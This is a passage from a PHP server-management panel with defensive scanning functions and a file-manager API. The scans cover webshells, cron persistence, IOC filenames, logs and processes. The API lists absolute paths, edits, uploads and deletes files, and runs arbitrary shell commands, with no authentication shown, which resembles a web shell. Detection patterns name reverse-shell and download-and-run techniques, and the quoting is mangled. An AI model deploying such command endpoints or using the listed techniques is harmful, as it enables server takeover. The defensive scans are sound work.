    return array(\’ok\’ => false, \’error\’ => \’No items selected to restore\’);
    }
    $manifest = btLoadManifest($baseDir);
    $restored = array();
    $failed = array();
    $remaining = array();
    $idSet = array_flip(array_map(\’strval\’, $ids));

    foreach ($manifest as $entry) {
    $eid = (string)$entry[\’id\’];
    if (!isset($idSet[$eid])) {
    $remaining[] = $entry;
    continue;
    }
    $original = isset($entry[\’original\’]) ? $entry[\’original\’] : \’\’;
    $qpath = isset($entry[\’quarantine\’]) ? $entry[\’quarantine\’] : \’\’;
    if ($original === \’\’ || !is_file($qpath)) {
    $failed[] = array(\’id\’ => $eid, \’path\’ => $original, \’error\’ => \’Quarantine file missing\’);
    continue;
    }
    $dest = $original;
    if (is_file($dest)) {
    $dest = dirname($original) . DIRECTORY_SEPARATOR . pathinfo($original, PATHINFO_FILENAME) . \’.restored.\’ . time() . (pathinfo($original, PATHINFO_EXTENSION) ? \’.\’ . pathinfo($original, PATHINFO_EXTENSION) : \’\’);
    }
    $parent = dirname($dest);
    if (!is_dir($parent)) {
    @mkdir($parent, 0755, true);
    }
    if (!@rename($qpath, $dest)) {
    if (!@copy($qpath, $dest)) {
    $failed[] = array(\’id\’ => $eid, \’path\’ => $original, \’error\’ => \’Restore failed\’);
    $remaining[] = $entry;
    continue;
    }
    @unlink($qpath);
    }
    $restored[] = array(\’id\’ => $eid, \’original\’ => $original, \’restored_to\’ => $dest);
    }
    btSaveManifest($baseDir, $remaining);

    $out = \”=== RESTORE REPORT ===\\n\”;
    $out .= \’Restored: \’ . count($restored) . \’ · Failed: \’ . count($failed) . \”\\n\\n\”;
    foreach ($restored as $r) {
    $out .= \'[RESTORED] \’ . $r[\’original\’];
    if ($r[\’restored_to\’] !== $r[\’original\’]) $out .= \’ → \’ . $r[\’restored_to\’];
    $out .= \”\\n\”;
    }
    foreach ($failed as $f) {
    $out .= \'[FAILED] \’ . (isset($f[\’path\’]) ? $f[\’path\’] : $f[\’id\’]) . \’ — \’ . $f[\’error\’] . \”\\n\”;
    }
    return array(
    \’ok\’ => true,
    \’output\’ => $out,
    \’restored\’ => $restored,
    \’failed\’ => $failed,
    \’count\’ => count($restored),
    );
    }

    function btRecentChanges($baseDir, $scanPath, $days)
    {
    $days = max(1, min(90, (int)$days));
    $roots = btGetScanRoots($baseDir, $scanPath);
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    $lines = array(\’=== RECENTLY MODIFIED WEB FILES (last \’ . $days . \’ days) ===\’, \’\’);
    foreach ($roots as $root) {
    if ($isWin) {
    $cmd = \’forfiles /P \’ . escapeshellarg($root) . \’ /S /D -\’ . $days . \’ /M *.php 2>nul\’;
    } else {
    $cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth 8 -type f \\( -name \”*.php\” -o -name \”*.phtml\” -o -name \”*.js\” -o -name \”.htaccess\” \\) -mtime -\’ . $days . \’ -printf \”%TY-%Tm-%Td %TH:%TM %s %p\\n\” 2>/dev/null | sort -r | head -60\’;
    }
    $out = runTerminal($cmd, $baseDir);
    if (trim($out[\’output\’]) !== \’\’) {
    $lines[] = \’— \’ . $root . \’ —\’;
    $lines[] = trim($out[\’output\’]);
    $lines[] = \’\’;
    }
    }
    if (count($lines) <= 2) $lines[] = \'(no recent changes found)\'; return array(\'ok\' => true, \’output\’ => implode(\”\\n\”, $lines));
    }

    function btWritableScan($baseDir, $scanPath)
    {
    $roots = btGetScanRoots($baseDir, $scanPath);
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    $lines = array(\’=== WORLD-WRITABLE / INSECURE PERMISSIONS ===\’, \’\’);
    foreach ($roots as $root) {
    if ($isWin) continue;
    $cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth 7 -type f \\( -perm -0002 -o -perm -0777 \\) -ls 2>/dev/null | head -50\’;
    $out = runTerminal($cmd, $baseDir);
    if (trim($out[\’output\’]) !== \’\’) {
    $lines[] = \’— \’ . $root . \’ —\’;
    $lines[] = trim($out[\’output\’]);
    $lines[] = \’\’;
    }
    $cmd2 = \’find \’ . escapeshellarg($root) . \’ -maxdepth 7 -type d -perm -0002 2>/dev/null | head -30\’;
    $out2 = runTerminal($cmd2, $baseDir);
    if (trim($out2[\’output\’]) !== \’\’) {
    $lines[] = \’World-writable directories:\’;
    $lines[] = trim($out2[\’output\’]);
    $lines[] = \’\’;
    }
    }
    if (count($lines) <= 2) $lines[] = $isWin ? \'(Linux permission scan only)\' : \'(no world-writable files found)\'; return array(\'ok\' => true, \’output\’ => implode(\”\\n\”, $lines));
    }

    function btHiddenScan($baseDir, $scanPath)
    {
    $roots = btGetScanRoots($baseDir, $scanPath);
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    $lines = array(\’=== HIDDEN / DOT FILES (executable scripts) ===\’, \’\’);
    foreach ($roots as $root) {
    if ($isWin) continue;
    $cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth 8 -name \”.*\” -type f \\( -name \”*.php*\” -o -name \”*.pl\” -o -name \”*.sh\” -o -name \”*.py\” -o -name \”.htaccess\” -o -name \”.user.ini\” \\) -ls 2>/dev/null | head -50\’;
    $out = runTerminal($cmd, $baseDir);
    if (trim($out[\’output\’]) !== \’\’) {
    $lines[] = \’— \’ . $root . \’ —\’;
    $lines[] = trim($out[\’output\’]);
    $lines[] = \’\’;
    }
    }
    if (count($lines) <= 2) $lines[] = \'(no suspicious hidden scripts found)\'; return array(\'ok\' => true, \’output\’ => implode(\”\\n\”, $lines));
    }

    function btCronAudit($baseDir)
    {
    $cron = getCrontab();
    $lines = array(\’=== CRON PERSISTENCE AUDIT ===\’, \’Platform: \’ . $cron[\’platform\’], \’\’);
    $suspicious = array(
    \’/\\bcurl\\b.*\\|\\s*(ba)?sh/is\’, \’/\\bwget\\b.*\\|\\s*(ba)?sh/is\’,
    \’/\\/dev\\/tcp\\//is\’, \’/\\bbash\\s+-i/is\’, \’/\\bnc\\s+-/is\’,
    \’/base64\\s+-d/is\’, \’/\\beval\\b/is\’, \’/\\bpython\\s+-c/is\’,
    \’/\\bperl\\s+-e/is\’, \’/\\b\\/tmp\\//is\’, \’/\\bchmod\\s+\\+x/is\’,
    \’/gsocket/is\’, \’/\\breverse\\b/is\’, \’/\\bbackdoor\\b/is\’,
    );
    $content = $cron[\’content\’];
    if (trim($content) === \’\’) {
    $lines[] = \'(empty crontab)\’;
    } else {
    $ln = 0;
    foreach (explode(\”\\n\”, $content) as $line) {
    $line = trim($line);
    if ($line === \’\’ || $line[0] === \’#\’) continue;
    $ln++;
    $flags = array();
    foreach ($suspicious as $pat) {
    if (preg_match($pat, $line)) $flags[] = \’SUSPICIOUS\’;
    }
    $prefix = empty($flags) ? \'[OK] \’ : \'[WARN] \’;
    $lines[] = $prefix . $line;
    }
    if ($ln === 0) $lines[] = \'(no active cron entries)\’;
    }
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    if (!$isWin) {
    $etc = runTerminal(\’ls -la /etc/cron* 2>/dev/null; grep -rH . /etc/cron.d/ /etc/cron.daily/ 2>/dev/null | head -30\’, $baseDir);
    $lines[] = \’\’;
    $lines[] = \’=== /etc/cron* (sample) ===\’;
    $lines[] = trim($etc[\’output\’]);
    }
    return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines));
    }

    function btLogAudit($baseDir)
    {
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    $lines = array(\’=== AUTH / SECURITY LOG AUDIT ===\’, \’\’);
    if ($isWin) {
    $out = runTerminal(\’wevtutil qe Security /c:20 /rd:true /f:text 2>nul\’, $baseDir);
    $lines[] = trim($out[\’output\’]) ?: \'(Windows event query unavailable)\’;
    } else {
    $cmds = array(
    \’Failed SSH/auth (last 40)\’ => \’grep -iE \”Failed password|Invalid user|authentication failure|refused connect\” /var/log/auth.log /var/log/secure 2>/dev/null | tail -40\’,
    \’sudo usage (last 20)\’ => \’grep -i sudo /var/log/auth.log /var/log/secure 2>/dev/null | tail -20\’,
    \’Web server errors (last 20)\’ => \’grep -iE \”eval|base64|shell|cmd=|/etc/passwd\” /var/log/apache2/error.log /var/log/httpd/error_log /var/log/nginx/error.log 2>/dev/null | tail -20\’,
    );
    foreach ($cmds as $label => $cmd) {
    $out = runTerminal($cmd, $baseDir);
    $lines[] = \’— \’ . $label . \’ —\’;
    $lines[] = trim($out[\’output\’]) ?: \'(no entries or log not accessible)\’;
    $lines[] = \’\’;
    }
    }
    return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines));
    }

    function btIocScan($baseDir, $scanPath)
    {
    $roots = btGetScanRoots($baseDir, $scanPath);
    $iocs = array(\’c99\’,\’r57\’,\’wso\’,\’b374k\’,\’shell\’,\’backdoor\’,\’cmd\’,\’uploader\’,\’alfa\’,\’indoxploit\’,\’mini\’,\’hack\’,\’exploit\’,\’webshell\’,\’c100\’,\’r00t\’,\’anonymous\’,\’leaf\’,\’marijuana\’,\’fox\’,\’upl\’);
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    $lines = array(\’=== IOC FILENAME HUNT ===\’, \’\’);
    $found = 0;
    foreach ($roots as $root) {
    if (!$isWin) {
    $nameExpr = array();
    foreach ($iocs as $ioc) {
    $nameExpr[] = \’-iname \’ . escapeshellarg(\’*\’ . $ioc . \’*.php\’);
    $nameExpr[] = \’-iname \’ . escapeshellarg(\’*\’ . $ioc . \’*.phtml\’);
    }
    $cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth 8 \\( \’ . implode(\’ -o \’, $nameExpr) . \’ \\) -type f 2>/dev/null | head -40\’;
    $out = runTerminal($cmd, $baseDir);
    if (trim($out[\’output\’]) !== \’\’) {
    $lines[] = \’— \’ . $root . \’ —\’;
    $lines[] = trim($out[\’output\’]);
    $found += substr_count($out[\’output\’], \”\\n\”) + 1;
    $lines[] = \’\’;
    }
    }
    }
    if ($found === 0) $lines[] = \'(no IOC filename matches)\’;
    return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines), \’count\’ => $found);
    }

    function btSuspiciousProcess($baseDir)
    {
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    if ($isWin) {
    $out = runTerminal(\’tasklist /V\’, $baseDir);
    } else {
    $out = runTerminal(\’ps auxww 2>/dev/null | grep -iE \”nc |/dev/tcp|python -c|perl -e|bash -i|gsocket|cryptominer|xmrig|masscan|sqlmap\” | grep -v grep\’, $baseDir);
    if (trim($out[\’output\’]) === \’\’) {
    $out[\’output\’] = \”(no suspicious process patterns matched)\\n\\nFull process list (top 30):\\n\” . runTerminal(\’ps auxww 2>/dev/null | head -30\’, $baseDir)[\’output\’];
    }
    }
    return array(\’ok\’ => true, \’output\’ => \”=== SUSPICIOUS PROCESS SCAN ===\\n\\n\” . $out[\’output\’]);
    }

    function btFullAudit($baseDir, $scanPath)
    {
    @set_time_limit(600);
    $parts = array();
    $r1 = btWebshellScan($baseDir, $scanPath, true);
    $parts[] = $r1[\’output\’];
    $parts[] = str_repeat(\’-\’, 60);
    $parts[] = btRecentChanges($baseDir, $scanPath, 7)[\’output\’];
    $parts[] = str_repeat(\’-\’, 60);
    $parts[] = btWritableScan($baseDir, $scanPath)[\’output\’];
    $parts[] = str_repeat(\’-\’, 60);
    $parts[] = btHiddenScan($baseDir, $scanPath)[\’output\’];
    $parts[] = str_repeat(\’-\’, 60);
    $parts[] = btCronAudit($baseDir)[\’output\’];
    $parts[] = str_repeat(\’-\’, 60);
    $parts[] = btIocScan($baseDir, $scanPath)[\’output\’];
    $parts[] = str_repeat(\’-\’, 60);
    $parts[] = btSuspiciousProcess($baseDir)[\’output\’];
    $parts[] = str_repeat(\’-\’, 60);
    $parts[] = btLogAudit($baseDir)[\’output\’];
    return array(
    \’ok\’ => true,
    \’output\’ => implode(\”\\n\\n\”, $parts),
    \’count\’ => isset($r1[\’count\’]) ? $r1[\’count\’] : 0,
    \’critical\’ => isset($r1[\’critical\’]) ? $r1[\’critical\’] : 0,
    );
    }

    function runBlueTool($tool, $input, $baseDir)
    {
    $tool = strtolower(trim((string)$tool));
    $scanPath = (string)_v($input, \’path\’, \’\’);
    $days = (int)_v($input, \’days\’, 7);
    switch ($tool) {
    case \’backdoor\’:
    $aggressive = _v($input, \’aggressive\’, true);
    return btWebshellScan($baseDir, $scanPath, $aggressive);
    case \’delete_threats\’:
    $paths = _v($input, \’paths\’, array());
    if (is_string($paths)) {
    $decoded = json_decode($paths, true);
    $paths = is_array($decoded) ? $decoded : array($paths);
    }
    return btDeleteThreats($baseDir, $paths);
    case \’quarantine_list\’:
    return btListQuarantine($baseDir);
    case \’restore_threats\’:
    $ids = _v($input, \’ids\’, array());
    if (is_string($ids)) {
    $decoded = json_decode($ids, true);
    $ids = is_array($decoded) ? $decoded : array($ids);
    }
    return btRestoreThreats($baseDir, $ids);
    case \’fullaudit\’:
    return btFullAudit($baseDir, $scanPath);
    case \’recent\’:
    return btRecentChanges($baseDir, $scanPath, $days);
    case \’writable\’:
    return btWritableScan($baseDir, $scanPath);
    case \’hidden\’:
    return btHiddenScan($baseDir, $scanPath);
    case \’cron\’:
    return btCronAudit($baseDir);
    case \’logs\’:
    return btLogAudit($baseDir);
    case \’ioc\’:
    return btIocScan($baseDir, $scanPath);
    case \’process\’:
    return btSuspiciousProcess($baseDir);
    default:
    return array(\’ok\’ => false, \’error\’ => \’Unknown blue team tool\’);
    }
    }

    function dbMakePdo($type, $host, $port, $user, $pass, $db)
    {
    $type = strtolower(trim((string)$type));
    $host = trim((string)$host);
    $user = (string)$user;
    $pass = (string)$pass;
    $db = trim((string)$db);
    $port = (int)$port;
    if (!class_exists(\’PDO\’)) {
    return array(\’ok\’ => false, \’error\’ => \’PDO extension not available\’);
    }
    try {
    if ($type === \’sqlite\’) {
    if ($db === \’\’) {
    return array(\’ok\’ => false, \’error\’ => \’Database file path required\’);
    }
    $pdo = new PDO(\’sqlite:\’ . $db);
    } elseif ($type === \’mysql\’) {
    if ($host === \’\’) $host = \’127.0.0.1\’;
    if ($port <= 0) $port = 3306; $dsn = \'mysql:host=\' . $host . \';port=\' . $port . \';dbname=\' . $db . \';charset=utf8mb4\'; $pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
    } elseif ($type === \’pgsql\’) {
    if ($host === \’\’) $host = \’127.0.0.1\’;
    if ($port <= 0) $port = 5432; $dsn = \'pgsql:host=\' . $host . \';port=\' . $port . \';dbname=\' . $db; $pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
    } else {
    return array(\’ok\’ => false, \’error\’ => \’Unsupported DB type\’);
    }
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    return array(\’ok\’ => true, \’pdo\’ => $pdo);
    } catch (Exception $e) {
    return array(\’ok\’ => false, \’error\’ => $e->getMessage());
    }
    }

    function dbRunQuery($type, $host, $port, $user, $pass, $db, $sql)
    {
    $sql = trim((string)$sql);
    if ($sql === \’\’) {
    return array(\’ok\’ => false, \’error\’ => \’Empty query\’);
    }
    $conn = dbMakePdo($type, $host, $port, $user, $pass, $db);
    if (!$conn[\’ok\’]) return $conn;
    /** @var PDO $pdo */
    $pdo = $conn[\’pdo\’];
    try {
    $stmt = $pdo->query($sql);
    if ($stmt === false) {
    return array(\’ok\’ => true, \’type\’ => \’exec\’, \’affected\’ => $pdo->lastInsertId(), \’message\’ => \’Query executed\’);
    }
    $rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
    $cols = array();
    if (!empty($rows)) {
    $cols = array_keys($rows[0]);
    } else {
    $colCount = $stmt->columnCount();
    for ($i = 0; $i < $colCount; $i++) { $meta = $stmt->getColumnMeta($i);
    if ($meta && isset($meta[\’name\’])) $cols[] = $meta[\’name\’];
    }
    }
    return array(\’ok\’ => true, \’type\’ => \’select\’, \’columns\’ => $cols, \’rows\’ => $rows, \’count\’ => count($rows));
    } catch (Exception $e) {
    return array(\’ok\’ => false, \’error\’ => $e->getMessage());
    }
    }

    function dbListTables($type, $host, $port, $user, $pass, $db)
    {
    $conn = dbMakePdo($type, $host, $port, $user, $pass, $db);
    if (!$conn[\’ok\’]) return $conn;
    /** @var PDO $pdo */
    $pdo = $conn[\’pdo\’];
    $type = strtolower(trim((string)$type));
    try {
    if ($type === \’mysql\’) {
    $stmt = $pdo->query(\’SHOW TABLES\’);
    } elseif ($type === \’pgsql\’) {
    $stmt = $pdo->query(\”SELECT tablename FROM pg_tables WHERE schemaname=\’public\’ ORDER BY tablename\”);
    } elseif ($type === \’sqlite\’) {
    $stmt = $pdo->query(\”SELECT name FROM sqlite_master WHERE type=\’table\’ ORDER BY name\”);
    } else {
    return array(\’ok\’ => false, \’error\’ => \’Unsupported DB type\’);
    }
    $tables = array();
    while ($row = $stmt->fetch(PDO::FETCH_NUM)) {
    $tables[] = $row[0];
    }
    return array(\’ok\’ => true, \’tables\’ => $tables);
    } catch (Exception $e) {
    return array(\’ok\’ => false, \’error\’ => $e->getMessage());
    }
    }

    // Helper untuk akses array yang aman (pengganti operator ??)
    function _v($arr, $key, $default = \’\’) {
    return (isset($arr[$key]) && $arr[$key] !== null) ? $arr[$key] : $default;
    }

    // Handle download requests
    if (isset($_GET[\’download\’])) {
    $path = resolvePath($baseDir, (string)$_GET[\’download\’]);
    if (!$path || is_dir($path)) { http_response_code(404); exit(\’Not found\’); }
    header(\’Content-Type: application/octet-stream\’);
    header(\’Content-Disposition: attachment; filename=\”\’ . basename($path) . \’\”\’);
    header(\’Content-Length: \’ . filesize($path));
    readfile($path); exit;
    }

    // Handle inline view requests (image preview, raw text view)
    if (isset($_GET[\’view\’])) {
    $path = resolvePath($baseDir, (string)$_GET[\’view\’]);
    if (!$path || is_dir($path)) { http_response_code(404); exit(\’Not found\’); }

    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    $mimes = array(
    \’png\’ => \’image/png\’,
    \’jpg\’ => \’image/jpeg\’,
    \’jpeg\’ => \’image/jpeg\’,
    \’gif\’ => \’image/gif\’,
    \’webp\’ => \’image/webp\’,
    \’svg\’ => \’image/svg+xml\’,
    \’ico\’ => \’image/x-icon\’,
    \’bmp\’ => \’image/bmp\’,
    \’avif\’ => \’image/avif\’,
    \’pdf\’ => \’application/pdf\’,
    );
    $mime = isset($mimes[$ext]) ? $mimes[$ext] : \’application/octet-stream\’;

    header(\’Content-Type: \’ . $mime);
    header(\’Content-Length: \’ . filesize($path));
    header(\’X-Content-Type-Options: nosniff\’);
    header(\’Content-Disposition: inline; filename=\”\’ . basename($path) . \’\”\’);
    header(\’Cache-Control: private, max-age=300\’);
    readfile($path);
    exit;
    }

    // Adminer — single-file DB manager (cached locally)
    if (isset($_GET[\’adminer\’])) {
    $adminerFile = __DIR__ . DIRECTORY_SEPARATOR . \’.adminer.php\’;
    if (!is_file($adminerFile)) {
    $ctx = stream_context_create(array(\’http\’ => array(\’timeout\’ => 15)));
    $data = @file_get_contents(\’https://www.adminer.org/latest.php\’, false, $ctx);
    if ($data && strlen($data) > 1000) {
    @file_put_contents($adminerFile, $data);
    }
    }
    if (is_file($adminerFile)) {
    include $adminerFile;
    exit;
    }
    http_response_code(503);
    echo \’Adminer unavailable (download failed). Use built-in DB Manager.\’;
    exit;
    }

    if (isset($_GET[\’phpinfo\’])) {
    phpinfo();
    exit;
    }

    // Handle API requests
    if (isset($_GET[\’api\’])) {
    $contentType = isset($_SERVER[\’CONTENT_TYPE\’]) ? $_SERVER[\’CONTENT_TYPE\’] : \’\’;
    $hasJson = strpos($contentType, \’application/json\’) !== false;

    if ($hasJson) {
    $raw = file_get_contents(\’php://input\’);
    if (!$raw) $raw = \'{}\’;
    $decoded = json_decode($raw, true);
    $input = is_array($decoded) ? $decoded : array();
    } else {
    $input = $_POST;
    }

    $action = (string)_v($input, \’action\’, _v($_GET, \’action\’, \’list\’));

    switch ($action) {
    case \’list\’:
    $rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));

    // Determine the directory to list
    if (preg_match(\’/^[A-Za-z]:\\//\’, $rel)) {
    // Absolute Windows path
    $dir = str_replace(\’/\’, DIRECTORY_SEPARATOR, $rel);
    } elseif (strlen($rel) > 0 && $rel[0] === \’/\’) {
    // Absolute Linux path
    $dir = $rel;
    } elseif ($rel === \’\’) {
    // Default base directory
    $dir = $baseDir;
    } else {
    // Relative path
    $dir = resolvePath($baseDir, $rel);
    }

    if (!$dir || !is_dir($dir)) {
    jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory: \’ . $rel), 403);
    }

    jsonOut(array(
    \’ok\’ => true,
    \’path\’ => $rel,
    \’entries\’ => listEntries($dir),
    \’disk\’ => array(
    \’free\’ => @disk_free_space($dir),
    \’total\’ => @disk_total_space($dir),
    ),
    ));
    break;

    case \’read\’:
    $path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
    if (!$path || is_dir($path)) jsonOut(array(\’ok\’ => false, \’error\’ => \’File not found\’), 404);
    $sz = filesize($path);
    if (!isTextFile($path) && (int)($sz ? $sz : 0) > 512000) jsonOut(array(\’ok\’ => false, \’error\’ => \’File too large or binary\’), 400);
    jsonOut(array(
    \’ok\’ => true,
    \’content\’ => file_get_contents($path),
    \’editable\’ => isTextFile($path),
    \’size\’ => filesize($path),
    \’modified\’ => filemtime($path),
    ));
    break;

    case \’save\’:
    $path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
    if (!$path || is_dir($path)) jsonOut(array(\’ok\’ => false, \’error\’ => \’File not found\’), 404);
    if (file_put_contents($path, (string)_v($input, \’content\’, \’\’)) === false) jsonOut(array(\’ok\’ => false, \’error\’ => \’Write failed\’), 500);
    jsonOut(array(\’ok\’ => true, \’modified\’ => filemtime($path)));
    break;

    case \’mkdir\’:
    $rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));
    $name = basename(str_replace(\’\’, \’/\’, (string)_v($input, \’name\’, \’\’)));
    if ($name === \’\’ || preg_match(\’/[<>:\”|?*\\/]/\’, $name)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid name\’), 400);
    $parent = resolvePath($baseDir, $rel);
    if (!$parent || !is_dir($parent)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory\’), 403);
    $new = $parent . DIRECTORY_SEPARATOR . $name;
    if (file_exists($new)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Already exists\’), 409);
    if (!@mkdir($new, 0755)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Create failed\’), 500);
    jsonOut(array(\’ok\’ => true));
    break;

    case \’create_file\’:
    $rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));
    $name = basename(str_replace(\’\’, \’/\’, (string)_v($input, \’name\’, \’\’)));
    if ($name === \’\’ || preg_match(\’/[<>:\”|?*\\/]/\’, $name)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid name\’), 400);
    $parent = resolvePath($baseDir, $rel);
    if (!$parent || !is_dir($parent)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory\’), 403);
    $new = $parent . DIRECTORY_SEPARATOR . $name;
    if (file_exists($new)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Already exists\’), 409);
    if (file_put_contents($new, (string)_v($input, \’content\’, \’\’)) === false) jsonOut(array(\’ok\’ => false, \’error\’ => \’Create failed\’), 500);
    jsonOut(array(\’ok\’ => true));
    break;

    case \’delete\’:
    $path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
    if (!$path || $path === $baseDir) jsonOut(array(\’ok\’ => false, \’error\’ => \’Cannot delete\’), 403);
    $ok = is_dir($path) ? @rmdir($path) : @unlink($path);
    if (!$ok) jsonOut(array(\’ok\’ => false, \’error\’ => \’Delete failed (folder must be empty)\’), 500);
    jsonOut(array(\’ok\’ => true));
    break;

    case \’rename\’:
    $path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
    $newName = basename(str_replace(\’\’, \’/\’, (string)_v($input, \’new_name\’, \’\’)));
    if (!$path || $newName === \’\’ || preg_match(\’/[<>:\”|?*\\/]/\’, $newName)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid request\’), 400);
    $dest = dirname($path) . DIRECTORY_SEPARATOR . $newName;
    if (file_exists($dest)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Name taken\’), 409);
    if (!@rename($path, $dest)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Rename failed\’), 500);
    jsonOut(array(\’ok\’ => true, \’new_path\’ => ltrim(str_replace(\’\’, \’/\’, substr($dest, strlen($baseDir))), \’/\’)));
    break;

    case \’chmod\’:
    $path = resolvePath($baseDir, (string)_v($input, \’path\’, \’\’));
    if (!$path) jsonOut(array(\’ok\’ => false, \’error\’ => \’File not found\’), 404);
    $permString = (string)_v($input, \’perm\’, \’\’);
    if (!preg_match(\’/^[0-7]{3,4}$/\’, $permString)) {
    jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid permission format. Use octal (e.g., 755 or 0644)\’), 400);
    }
    $octalPerm = octdec($permString);
    if (!@chmod($path, (int)$octalPerm)) {
    jsonOut(array(\’ok\’ => false, \’error\’ => \’Failed to change permissions\’), 500);
    }
    clearstatcache(true, $path);
    $newPerm = substr(sprintf(\’%o\’, fileperms($path)), -4);
    jsonOut(array(\’ok\’ => true, \’perm\’ => $newPerm));
    break;

    case \’upload\’:
    $rel = sanitizeRelPath((string)_v($_POST, \’path\’, \’\’));
    $parent = resolvePath($baseDir, $rel);

    if (!$parent || !is_dir($parent)) {
    jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid directory: \’ . $rel), 403);
    }

    if (empty($_FILES[\’file\’])) {
    jsonOut(array(\’ok\’ => false, \’error\’ => \’No file uploaded\’), 400);
    }

    $f = $_FILES[\’file\’];
    if ($f[\’error\’] !== UPLOAD_ERR_OK) {
    $errors = array(
    UPLOAD_ERR_INI_SIZE => \’File too large (server limit: \’ . ini_get(\’upload_max_filesize\’) . \’)\’,
    UPLOAD_ERR_FORM_SIZE => \’File too large (form limit)\’,
    UPLOAD_ERR_PARTIAL => \’File only partially uploaded\’,
    UPLOAD_ERR_NO_FILE => \’No file uploaded\’,
    UPLOAD_ERR_NO_TMP_DIR => \’Missing temporary folder\’,
    UPLOAD_ERR_CANT_WRITE => \’Failed to write file\’,
    UPLOAD_ERR_EXTENSION => \’Upload blocked by extension\’,
    );
    $errorMsg = isset($errors[$f[\’error\’]]) ? $errors[$f[\’error\’]] : (\’Unknown upload error (code: \’ . $f[\’error\’] . \’)\’);
    jsonOut(array(\’ok\’ => false, \’error\’ => $errorMsg), 400);
    }

    $name = basename($f[\’name\’]);
    $name = preg_replace(\’/[<>:\”|?*\\/]/\’, \’\’, $name);
    $name = trim($name);

    if ($name === \’\’) {
    jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid filename\’), 400);
    }

    $dest = $parent . DIRECTORY_SEPARATOR . $name;
    if (file_exists($dest)) {
    $info = pathinfo($name);
    $filename = isset($info[\’filename\’]) ? $info[\’filename\’] : $name;
    $extension = isset($info[\’extension\’]) ? $info[\’extension\’] : \’\’;
    $name = $filename . \’_\’ . time() . ($extension !== \’\’ ? \’.\’ . $extension : \’\’);
    $dest = $parent . DIRECTORY_SEPARATOR . $name;
    }

    if (!move_uploaded_file($f[\’tmp_name\’], $dest)) {
    jsonOut(array(\’ok\’ => false, \’error\’ => \’Failed to save file. Check folder permissions.\’), 500);
    }

    @chmod($dest, 0644);
    jsonOut(array(\’ok\’ => true, \’name\’ => $name, \’message\’ => \’Upload successful\’));
    break;

    case \’search\’:
    $query = trim((string)_v($input, \’query\’, \’\’));
    if ($query === \’\’) jsonOut(array(\’ok\’ => true, \’results\’ => array()));
    $results = array(); $count = 0;
    searchFiles($baseDir, sanitizeRelPath((string)_v($input, \’path\’, \’\’)), $query, $results, $count);
    jsonOut(array(\’ok\’ => true, \’results\’ => $results));
    break;

    case \’terminal\’:
    $rel = sanitizeRelPath((string)_v($input, \’path\’, \’\’));
    $cwd = resolvePath($baseDir, $rel);
    if (!$cwd || !is_dir($cwd)) jsonOut(array(\’ok\’ => false, \’error\’ => \’Invalid cwd\’), 403);
    $command = trim((string)_v($input, \’command\’, \’\’));
    if ($command === \’\’) jsonOut(array(\’ok\’ => false, \’error\’ => \’Empty command\’), 400);
    $result = runTerminal($command, $cwd);
    jsonOut(array(\’ok\’ => true, \’output\’ => $result[\’output\’], \’exit_code\’ => $result[\’exit_code\’], \’cwd\’ => $rel));
    break;

    case \’drives\’:
    $drives = array();
    if (strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’) {
    for ($i = 67; $i <= 90; $i++) { $drive = chr($i) . \':/\'; if (@is_dir($drive)) { $free = @disk_free_space($drive); $total = @disk_total_space($drive); $drives[] = array( \'letter\' => chr($i) . \’:\’,
    \’path\’ => $drive,
    \’free\’ => $free ? $free : 0,
    \’total\’ => $total ? $total : 0,
    \’label\’ => chr($i) . \’:\’,
    );
    }
    }
    } else {
    // Linux/Mac – show root and common paths
    $commonPaths = array(
    \’/\’ => \’Root (/)\’,
    \’/home\’ => \’Home (/home)\’,
    \’/var\’ => \’Var (/var)\’,
    \’/etc\’ => \’Etc (/etc)\’,
    \’/usr\’ => \’Usr (/usr)\’,
    \’/tmp\’ => \’Tmp (/tmp)\’,
    );

    foreach ($commonPaths as $path => $label) {
    if (@is_dir($path)) {
    $free = @disk_free_space($path);
    $total = @disk_total_space($path);
    $drives[] = array(
    \’letter\’ => $path,
    \’path\’ => $path,
    \’free\’ => $free ? $free : 0,
    \’total\’ => $total ? $total : 0,
